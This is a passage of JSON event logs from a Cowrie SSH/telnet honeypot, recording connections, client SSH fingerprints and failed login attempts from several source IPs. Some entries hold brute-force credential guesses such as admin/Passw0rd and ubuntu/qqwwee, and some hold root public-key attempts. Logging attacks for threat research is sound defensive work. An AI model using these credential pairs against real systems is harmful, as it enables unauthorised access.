ha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:21:14.199735Z","src_ip":"103.63.108.25","session":"39f86a7726f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123qwe!@#","message":"login attempt [postgres/123qwe!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:21:15.291125Z","src_ip":"103.63.108.25","session":"39f86a7726f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:21:16.571968Z","src_ip":"103.63.108.25","session":"39f86a7726f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.103","src_port":2778,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf886c3dd940","protocol":"ssh","message":"New connection: 79.127.181.103:2778 (159.203.135.109:22) [session: cf886c3dd940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:21:46.247475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:21:46.453944Z","src_ip":"79.127.181.103","session":"cf886c3dd940","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:21:46.654798Z","src_ip":"79.127.181.103","session":"cf886c3dd940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:21:46.674395Z","src_ip":"79.127.181.103","session":"cf886c3dd940","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":56232,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ae83f944490","protocol":"ssh","message":"New connection: 103.63.108.25:56232 (159.203.135.109:22) [session: 7ae83f944490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:22:10.791454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:22:10.797213Z","src_ip":"103.63.108.25","session":"7ae83f944490","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:22:11.072527Z","src_ip":"103.63.108.25","session":"7ae83f944490","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qqwwee","message":"login attempt [ubuntu/qqwwee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:22:12.199602Z","src_ip":"103.63.108.25","session":"7ae83f944490","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:22:13.515218Z","src_ip":"103.63.108.25","session":"7ae83f944490","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":30986,"dst_ip":"159.203.135.109","dst_port":22,"session":"c64975f2a004","protocol":"ssh","message":"New connection: 194.59.206.2:30986 (159.203.135.109:22) [session: c64975f2a004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:22:15.259651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:22:15.264670Z","src_ip":"194.59.206.2","session":"c64975f2a004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:22:15.355177Z","src_ip":"194.59.206.2","session":"c64975f2a004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:22:15.450987Z","src_ip":"194.59.206.2","session":"c64975f2a004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":55700,"dst_ip":"159.203.135.109","dst_port":22,"session":"244c0801775e","protocol":"ssh","message":"New connection: 103.63.108.25:55700 (159.203.135.109:22) [session: 244c0801775e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:23:11.019045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:23:11.026584Z","src_ip":"103.63.108.25","session":"244c0801775e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:23:11.298263Z","src_ip":"103.63.108.25","session":"244c0801775e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Passw0rd","message":"login attempt [admin/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:23:12.392542Z","src_ip":"103.63.108.25","session":"244c0801775e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:23:13.670822Z","src_ip":"103.63.108.25","session":"244c0801775e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":58990,"dst_ip":"159.203.135.109","dst_port":23,"session":"129f888e8f15","protocol":"telnet","message":"New connection: 199.103.57.63:58990 (159.203.135.109:23) [session: 129f888e8f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:23:41.376690Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":43512,"dst_ip":"159.203.135.109","dst_port":22,"session":"59a00e769735","protocol":"ssh","message":"New connection: 103.63.108.25:43512 (159.203.135.109:22) [session: 59a00e769735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:24:05.458981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:24:05.471035Z","src_ip":"103.63.108.25","session":"59a00e769735","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:24:05.743469Z","src_ip":"103.63.108.25","session":"59a00e769735","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"Pa$$w0rd","message":"login attempt [ftpuser/Pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:24:06.833434Z","src_ip":"103.63.108.25","session":"59a00e769735","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:24:08.110853Z","src_ip":"103.63.108.25","session":"59a00e769735","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.256032943725586,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:24:17.632582Z","src_ip":"199.103.57.63","session":"129f888e8f15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":58938,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd905c76322e","protocol":"ssh","message":"New connection: 103.63.108.25:58938 (159.203.135.109:22) [session: fd905c76322e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:25:03.060172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:25:03.066042Z","src_ip":"103.63.108.25","session":"fd905c76322e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:25:03.353872Z","src_ip":"103.63.108.25","session":"fd905c76322e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password123456789","message":"login attempt [ubuntu/password123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:25:04.495280Z","src_ip":"103.63.108.25","session":"fd905c76322e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:25:05.783002Z","src_ip":"103.63.108.25","session":"fd905c76322e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.30.89","src_port":34460,"dst_ip":"10.17.0.5","dst_port":22,"session":"900814e41218","protocol":"ssh","message":"New connection: 50.116.30.89:34460 (10.17.0.5:22) [session: 900814e41218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:25:24.201560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:25:24.207867Z","src_ip":"50.116.30.89","session":"900814e41218","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:25:24.253026Z","src_ip":"50.116.30.89","session":"900814e41218","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:14:d0:f0:b1:41:45:31:dd:ff:d8:70:8c:2a:63:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC98LoRDoRNG2HXYnH//nlQUBkO5AaDWeefIxhFw+rhDYJXOhhgvybOC3GthCEUPmtYV1hF6UImpM7alqojVb0sjc0bHGdKL5kXHrQRgu00txXBEB+xLbIE3pj6OozBQgTCcM9HMEGxz1k7pSg4eYfvpM2ew2Y3INegA16Mr7ZFNUiWp3MGtkcBzGSaR6VpgPHaB3ehk7VqeBrPvt2+NNJd9HVDakSvq9mhLsBIkXM1/rHQvBn2ASpTs5wSnD65KBM3O6mm+JFYF9NsjSmYXbfLznbbj6ob2lCIuxY3mTtbcnXCw5h1/bPKqt4FXU1n5EUlBdQwDd99Ap9t6rswaI6T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:14:d0:f0:b1:41:45:31:dd:ff:d8:70:8c:2a:63:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:25:24.456855Z","src_ip":"50.116.30.89","session":"900814e41218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:14:d0:f0:b1:41:45:31:dd:ff:d8:70:8c:2a:63:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC98LoRDoRNG2HXYnH//nlQUBkO5AaDWeefIxhFw+rhDYJXOhhgvybOC3GthCEUPmtYV1hF6UImpM7alqojVb0sjc0bHGdKL5kXHrQRgu00txXBEB+xLbIE3pj6OozBQgTCcM9HMEGxz1k7pSg4eYfvpM2ew2Y3INegA16Mr7ZFNUiWp3MGtkcBzGSaR6VpgPHaB3ehk7VqeBrPvt2+NNJd9HVDakSvq9mhLsBIkXM1/rHQvBn2ASpTs5wSnD65KBM3O6mm+JFYF9NsjSmYXbfLznbbj6ob2lCIuxY3mTtbcnXCw5h1/bPKqt4FXU1n5EUlBdQwDd99Ap9t6rswaI6T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:25:24.463860Z","src_ip":"50.116.30.89","session":"900814e41218","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:4a:ef:23:18:e3:b6:ba:4b:5e:0e:3e:29:6f:7a:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLHC+O3er/zylCu2401Pbo0YsszrZIe4WVqMXhMh68uyJnvJ5z090IsxZQ82yHAeBA8Fkxps6/4Vayzo/PY5W+tjVmwUvL6MI62f48ahQQ7JueLO4vaSJE1OOeNrJ5UluxZF1iAsSrsWhCTYEVJHPaVqNXe6THAQqRIyhl49VUs19iAwwCR7nheg/Zq5DXjIjKd7/WBfIigAuXOJZS8BCP+siIeype6ePd+GJAZFCo36tpiUp2B7L1JlDiUkX63/mOxWEBO6Px1NATSWBEmJmgiuavEA08lquaIZpcEeK2/g4HNq/sB60hSdHf6F+O5MbqLxK6U4EpZiFIe+v8kSbR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:4a:ef:23:18:e3:b6:ba:4b:5e:0e:3e:29:6f:7a:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:25:24.513147Z","src_ip":"50.116.30.89","session":"900814e41218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:4a:ef:23:18:e3:b6:ba:4b:5e:0e:3e:29:6f:7a:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLHC+O3er/zylCu2401Pbo0YsszrZIe4WVqMXhMh68uyJnvJ5z090IsxZQ82yHAeBA8Fkxps6/4Vayzo/PY5W+tjVmwUvL6MI62f48ahQQ7JueLO4vaSJE1OOeNrJ5UluxZF1iAsSrsWhCTYEVJHPaVqNXe6THAQqRIyhl49VUs19iAwwCR7nheg/Zq5DXjIjKd7/WBfIigAuXOJZS8BCP+siIeype6ePd+GJAZFCo36tpiUp2B7L1JlDiUkX63/mOxWEBO6Px1NATSWBEmJmgiuavEA08lquaIZpcEeK2/g4HNq/sB60hSdHf6F+O5MbqLxK6U4EpZiFIe+v8kSbR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:25:24.516562Z","src_ip":"50.116.30.89","session":"900814e41218","protocol":"ssh"}
